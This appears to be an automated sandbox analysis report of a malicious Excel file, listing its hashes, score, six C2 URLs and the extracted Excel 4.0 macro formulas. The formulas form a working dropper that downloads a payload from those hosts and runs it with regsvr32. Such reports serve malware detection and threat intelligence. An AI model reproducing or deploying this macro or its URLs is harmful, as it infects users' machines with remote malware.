db9465fcf2d2a2a1e0ec5f09b1ccfe345f820439b4499886bfd9caa61984027f

General

Target

db9465fcf2d2a2a1e0ec5f09b1ccfe345f820439b4499886bfd9caa61984027f
Size

40KB
Sample

241120-mvpxpavgme
MD5

80d2e8881dc37f0f8690fe4fdde669c1
SHA1

b2dbe73df6a2497f0e7893a61cda531c92746c6c
SHA256

db9465fcf2d2a2a1e0ec5f09b1ccfe345f820439b4499886bfd9caa61984027f
SHA512

30d1e4a1553952ed20c368d96c618891a875a1a84f347372860df43170ac01d700687f5b51973af436245e802802487d6c4512bb5b51f6e543fb54893d8ff64e
SSDEEP

768:WXomZDOevZCwtvyKfcrND59V+L9Rw4eWrXcTqZ0VPH+t:SomZDzylND59V4jwmXc2CVPu

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://radiomedenine.com/kidfngb/h3a3D5WRS/

https://mobapkapps.com/wp-includes/JcEqRwhEw0/

https://bhandariclub.com/iwdfol/X64nJKK8fsiQcbkW5MN/

https://welcomelanguages.com/factoo/7Wz9qXX7QSjXm0VPM/

https://deine-bewerbung.com/wp-content/HHotdOzCFlW/

https://wewin21.com/wp-content/NITdYcwbO3C1uJd/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://radiomedenine.com/kidfngb/h3a3D5WRS/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mobapkapps.com/wp-includes/JcEqRwhEw0/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bhandariclub.com/iwdfol/X64nJKK8fsiQcbkW5MN/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://welcomelanguages.com/factoo/7Wz9qXX7QSjXm0VPM/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://deine-bewerbung.com/wp-content/HHotdOzCFlW/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wewin21.com/wp-content/NITdYcwbO3C1uJd/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://radiomedenine.com/kidfngb/h3a3D5WRS/

xlm40.dropper

https://mobapkapps.com/wp-includes/JcEqRwhEw0/

xlm40.dropper

https://bhandariclub.com/iwdfol/X64nJKK8fsiQcbkW5MN/

xlm40.dropper

https://welcomelanguages.com/factoo/7Wz9qXX7QSjXm0VPM/

xlm40.dropper

https://deine-bewerbung.com/wp-content/HHotdOzCFlW/

xlm40.dropper

https://wewin21.com/wp-content/NITdYcwbO3C1uJd/